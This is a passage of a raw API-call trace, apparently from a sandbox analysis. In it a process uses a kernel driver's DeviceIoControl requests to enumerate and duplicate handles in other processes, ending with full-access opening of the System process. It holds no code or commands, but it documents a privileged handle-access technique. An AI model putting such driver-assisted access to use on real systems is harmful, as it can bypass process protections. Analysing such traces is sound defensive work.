hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0088.837] CloseHandle (hObject=0xc0) returned 1 [0088.837] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x88) returned 0x24cb50 [0088.837] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x24cb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x24cb50*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0088.837] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880052335a8 | out: Process=0xfffff880052335a8) returned 0x0 [0088.837] PsAcquireProcessExitSynchronization () returned 0x0 [0088.837] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335c8 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335c8) [0088.837] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff880052335b0, HandleInformation=0x0 | out: Object=0xfffff880052335b0*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0088.837] PsReleaseProcessExitSynchronization () returned 0x2 [0088.837] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaf [0088.837] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880052335a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880052335a4) returned 0xc0000004 [0088.837] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a002dbbc80 [0088.837] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a002dbbc80, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a002dbbc80, ReturnLength=0x0) returned 0x0 [0088.837] ExFreePoolWithTag (P=0xfffff8a002dbbc80, Tag=0x0) [0088.837] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0088.837] KeUnstackDetachProcess (ApcState=0xfffff880052335c8) [0088.837] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.837] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x24cb50 | out: hHeap=0x210000) returned 1 [0088.837] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.837] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.837] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.837] PsAcquireProcessExitSynchronization () returned 0x0 [0088.837] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0) [0088.837] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0088.837] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.837] PsReleaseProcessExitSynchronization () returned 0x2 [0088.837] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaf [0088.837] ObQueryNameString (in: Object=0xfffffa8001a2d420, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0088.837] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0088.837] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.838] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.838] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4c4) returned 0xc0 [0088.838] GetCurrentProcess () returned 0xffffffffffffffff [0088.838] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x150, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0088.838] CloseHandle (hObject=0xc0) returned 1 [0088.838] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x88) returned 0x24cb50 [0088.838] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x24cb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x24cb50*, lpBytesReturned=0x12d450*=0x1c, lpOverlapped=0x0) returned 1 [0088.838] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880052335a8 | out: Process=0xfffff880052335a8) returned 0x0 [0088.838] PsAcquireProcessExitSynchronization () returned 0x0 [0088.838] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335c8 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335c8) [0088.838] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff880052335b0, HandleInformation=0x0 | out: Object=0xfffff880052335b0*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0088.838] PsReleaseProcessExitSynchronization () returned 0x2 [0088.838] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0088.838] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880052335a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880052335a4) returned 0xc0000004 [0088.838] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a002dbbc80 [0088.838] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a002dbbc80, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a002dbbc80, ReturnLength=0x0) returned 0x0 [0088.838] ExFreePoolWithTag (P=0xfffff8a002dbbc80, Tag=0x0) [0088.838] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0088.838] KeUnstackDetachProcess (ApcState=0xfffff880052335c8) [0088.838] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.838] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x24cb50 | out: hHeap=0x210000) returned 1 [0088.838] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.838] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.839] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.839] PsAcquireProcessExitSynchronization () returned 0x0 [0088.839] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0088.839] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0088.839] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.839] PsReleaseProcessExitSynchronization () returned 0x2 [0088.839] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0088.839] ObQueryNameString (in: Object=0xfffff8a0015fb200, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0088.839] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0088.839] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.839] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.839] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x46c) returned 0xc0 [0088.839] GetCurrentProcess () returned 0xffffffffffffffff [0088.839] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x200, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0088.839] CloseHandle (hObject=0xc0) returned 1 [0088.839] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x88) returned 0x24cb50 [0088.839] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x24cb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x24cb50*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0088.839] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff880052335a8 | out: Process=0xfffff880052335a8) returned 0x0 [0088.839] PsAcquireProcessExitSynchronization () returned 0x0 [0088.839] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335c8 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335c8) [0088.839] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff880052335b0, HandleInformation=0x0 | out: Object=0xfffff880052335b0*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0088.839] PsReleaseProcessExitSynchronization () returned 0x2 [0088.839] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0088.839] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880052335a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880052335a4) returned 0xc0000004 [0088.839] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a002af7520 [0088.839] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a002af7520, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a002af7520, ReturnLength=0x0) returned 0x0 [0088.839] ExFreePoolWithTag (P=0xfffff8a002af7520, Tag=0x0) [0088.839] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0088.839] KeUnstackDetachProcess (ApcState=0xfffff880052335c8) [0088.839] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.840] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x24cb50 | out: hHeap=0x210000) returned 1 [0088.840] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.840] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.840] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.840] PsAcquireProcessExitSynchronization () returned 0x0 [0088.840] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0) [0088.840] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0088.840] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.840] PsReleaseProcessExitSynchronization () returned 0x2 [0088.840] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0088.840] ObQueryNameString (in: Object=0xfffffa8003477400, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.840] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0088.840] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.840] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.840] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x370) returned 0xc0 [0088.840] GetCurrentProcess () returned 0xffffffffffffffff [0088.840] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x95c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0088.841] CloseHandle (hObject=0xc0) returned 1 [0088.841] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.841] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x70) returned 0x234c50 [0088.841] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x70, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.841] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.841] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.841] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0088.841] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.841] PsAcquireProcessExitSynchronization () returned 0x0 [0088.841] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0088.841] ObReferenceObjectByHandle (in: Handle=0x95c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002faa730, HandleInformation=0x0) returned 0x0 [0088.841] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.841] PsReleaseProcessExitSynchronization () returned 0x2 [0088.841] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x207 [0088.841] ObQueryNameString (in: Object=0xfffffa8002faa730, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0088.841] ObfDereferenceObject (Object=0xfffffa8002faa730) returned 0x5 [0088.841] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.841] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.841] CloseHandle (hObject=0xc8) returned 1 [0088.841] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x338) returned 0xc8 [0088.841] GetCurrentProcess () returned 0xffffffffffffffff [0088.841] DuplicateHandle (in: hSourceProcessHandle=0xc8, hSourceHandle=0x320, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0088.842] CloseHandle (hObject=0xc8) returned 1 [0088.842] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.842] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x90) returned 0x234820 [0088.842] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x234820, ObjectInformationLength=0x90, ReturnLength=0x0 | out: ObjectInformation=0x234820, ReturnLength=0x0) returned 0x0 [0088.842] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234820 | out: hHeap=0x210000) returned 1 [0088.842] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.842] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.842] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.842] PsAcquireProcessExitSynchronization () returned 0x0 [0088.842] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0088.842] ObReferenceObjectByHandle (in: Handle=0x320, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031a5c70, HandleInformation=0x0) returned 0x0 [0088.842] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.842] PsReleaseProcessExitSynchronization () returned 0x2 [0088.842] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd0 [0088.842] ObQueryNameString (in: Object=0xfffffa80031a5c70, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.842] ObfDereferenceObject (Object=0xfffffa80031a5c70) returned 0x2 [0088.842] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.842] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.842] CloseHandle (hObject=0xc0) returned 1 [0088.843] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x1e8) returned 0xc0 [0088.843] GetCurrentProcess () returned 0xffffffffffffffff [0088.843] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x170, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0088.843] CloseHandle (hObject=0xc0) returned 1 [0088.843] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.843] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x78) returned 0x234c50 [0088.843] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.843] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.843] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.843] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0088.843] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.843] PsAcquireProcessExitSynchronization () returned 0x0 [0088.843] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0) [0088.843] ObReferenceObjectByHandle (in: Handle=0x170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800b6ae940, HandleInformation=0x0) returned 0x0 [0088.843] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.843] PsReleaseProcessExitSynchronization () returned 0x2 [0088.843] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0088.843] ObQueryNameString (in: Object=0xfffffa800b6ae940, ObjectNameInfo=0xfffffa8003aaf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003aaf044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.843] ObfDereferenceObject (Object=0xfffffa800b6ae940) returned 0xc [0088.843] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.843] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.843] CloseHandle (hObject=0xc8) returned 1 [0088.844] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0xc8 [0088.844] GetCurrentProcess () returned 0xffffffffffffffff [0088.844] DuplicateHandle (in: hSourceProcessHandle=0xc8, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0088.844] CloseHandle (hObject=0xc8) returned 1 [0088.844] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.844] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x88) returned 0x24cb50 [0088.844] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x24cb50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x24cb50, ReturnLength=0x0) returned 0x0 [0088.844] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x24cb50 | out: hHeap=0x210000) returned 1 [0088.844] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.844] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0088.844] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.844] PsAcquireProcessExitSynchronization () returned 0x0 [0088.844] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0088.844] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a004ab7080, HandleInformation=0x0) returned 0x0 [0088.844] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.844] PsReleaseProcessExitSynchronization () returned 0x2 [0088.844] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x156 [0088.844] ObQueryNameString (in: Object=0xfffff8a004ab7080, ObjectNameInfo=0xfffffa8003a25044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a25044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.844] ObfDereferenceObject (Object=0xfffff8a004ab7080) returned 0x3 [0088.844] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.844] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.844] CloseHandle (hObject=0xc0) returned 1 [0088.845] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.845] GetLastError () returned 0x5 [0088.845] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0088.845] ZwOpenProcess (in: ProcessHandle=0xfffffa80027881c0, DesiredAccess=0x10000000, ObjectAttributes=0xfffff88005233688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88005233678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa80027881c0*=0xc0) returned 0x0 [0088.845] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.845] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0088.845] ZwOpenProcess (in: ProcessHandle=0xfffff880052335f0, DesiredAccess=0x40, ObjectAttributes=0xfffff88005233608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880052335f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff880052335f0*=0xffffffff80000b1c) returned 0x0 [0088.845] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff80000b1c, SourceHandle=0x424, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa80027881c0, DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa80027881c0*=0xc8) returned 0x0 [0088.845] ZwClose (Handle=0xffffffff80000b1c) returned 0x0 [0088.845] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.845] CloseHandle (hObject=0xc0) returned 1 [0088.845] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.845] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x78) returned 0x234c50 [0088.845] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x234c50, 